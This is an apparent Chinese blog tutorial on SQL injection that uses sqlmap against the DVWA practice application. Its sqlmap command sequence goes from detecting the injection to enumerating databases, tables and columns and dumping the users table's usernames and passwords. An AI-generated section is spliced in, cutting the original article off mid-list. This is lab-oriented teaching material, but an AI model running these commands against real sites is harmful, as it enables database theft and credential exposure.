Sql注入之sqlmap+dvwa实例演练

本文通过sqlmap和dvwa的实战演练,深入理解SQL注入的原理和利用方式。介绍了sqlmap的安装、dvwa的部署,并讲解了SQL注入的五种类型,以及如何在dvwa中进行注入点扫描和利用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Sql注入之sqlmap+dvwa实例演练

 

相信很多同学都已经知道了什么是sql注入,也明白为什么会发生sql注入。也可以通过在输入框和url中“手工”注入,来实现绕过登录、非法修改这样有趣又实用的功能。但这些还远不能让我们感觉到sql注入的巨大威力。

你也一定听过各种各样的新闻报道xxx网站被黑,上百万用户数据泄露。想知道它们是如何获得这些数据的吗?不讲过多原理,就和实验楼【Sql注入之sqlmap+dvwa实例演练】项目教程一起来实操“拖库”。

sqlmap是当前最火热的自动化SQL注入工具,可以扫描、发现并利用给定URL的SQL注入漏洞。而DVWA是一套包含了一些常见安全漏洞的靶机web应用。矛和盾都在手,一起通过该项目的实际演练来感受sql注入的实际威力吧。

一、sql注入原理

注入式攻击可行的根本原因在于数据与程序/指令的混合。在sql注入中,精心构造的输入数据将“溢出”原本它的数据域范围,成为sql语句控制域的一部分,进而改变和控制sql语句的行为。

利用sql注入漏洞的步骤可分为:

  • 找注入点(在哪里注入)
  • 构造注入内容(如何注入)

注入点:

根据注入的原理,可判断出有与服务器数据交互的地方都有可被注入的可能。Web应用的用户输入方式比较多,其中一些用户输入方式是很明显的,如HTML表单。但还有许多不明显的交互方式例如隐藏的HTML表单输入、HTTP头部、cookies、甚至异步的AJAX数据交互请求。常见的注入点有GET请求(url参数)和POST请求(表单数据)。我们可以通过burp suite这类代理、抓包工具来全面分析可注入点。

注入类型:

### 使用sqlmapDVWA低级SQL注入进行渗透测试 在使用sqlmapDVWA的低级SQL注入(Low Level SQL Injection)进行渗透测试时,需要确保正确配置目标URL和相关的Cookies。以下是详细的说明与操作步骤: #### 1. 确定目标URL DVWASQL注入漏洞页面通常位于`/vulnerabilities/sqli/`路径下,目标URL格式如下: ```plaintext http://<DVWA-IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit# ``` 其中,`<DVWA-IP>`为DVWA服务器的IP地址。 #### 2. 设置Cookies 为了绕过DVWA的安全级别限制(如`security=low`),需要提供正确的PHPSESSID和安全级别参数。例如: ```plaintext PHPSESSID=v1d47lav6lot63v45vif84lren; security=low ``` #### 3. 基本命令结构 使用以下基本命令启动sqlmap工具: ```bash sqlmap -u "http://<DVWA-IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=<SESSION-ID>; security=low" ``` 此命令中: - `-u`指定目标URL。 - `--cookie`传递必要的会话信息[^1]。 #### 4. 获取数据库信息 可以通过附加参数来获取更多数据库相关信息: - **获取当前数据库名称**: ```bash sqlmap -u "http://<DVWA-IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=<SESSION-ID>; security=low" --current-db --batch ``` 此命令将返回当前使用的数据库名称,例如`dvwa`[^3]。 - **枚举所有数据库**: ```bash sqlmap -u "http://<DVWA-IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=<SESSION-ID>; security=low" --dbs --batch ``` - **枚举特定数据库中的表**: ```bash sqlmap -u "http://<DVWA-IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=<SESSION-ID>; security=low" -D dvwa --tables --batch ``` - **枚举特定表中的列**: ```bash sqlmap -u "http://<DVWA-IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=<SESSION-ID>; security=low" -D dvwa -T users --columns --batch ``` - **转储数据**: ```bash sqlmap -u "http://<DVWA-IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=<SESSION-ID>; security=low" -D dvwa -T users -C user,password --dump --batch ``` #### 5. 注意事项 - **安全性**:仅在授权的环境中进行渗透测试,避免非法操作。 - **错误抑制**:DVWA可能通过代码修改抑制了MySQL错误信息输出[^4],这可能影响sqlmap的检测效率。在这种情况下,可以尝试布尔盲注或时间盲注模式。 - **布尔盲注**: ```bash sqlmap -u "http://<DVWA-IP>/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=<SESSION-ID>; security=low" --technique=B --batch ``` ### 示例代码 以下是一个完整的sqlmap命令示例: ```bash sqlmap -u "http://172.16.60.233/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=v1d47lav6lot63v45vif84lren; security=low" -D dvwa -T users -C user,password --dump --batch ``` ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值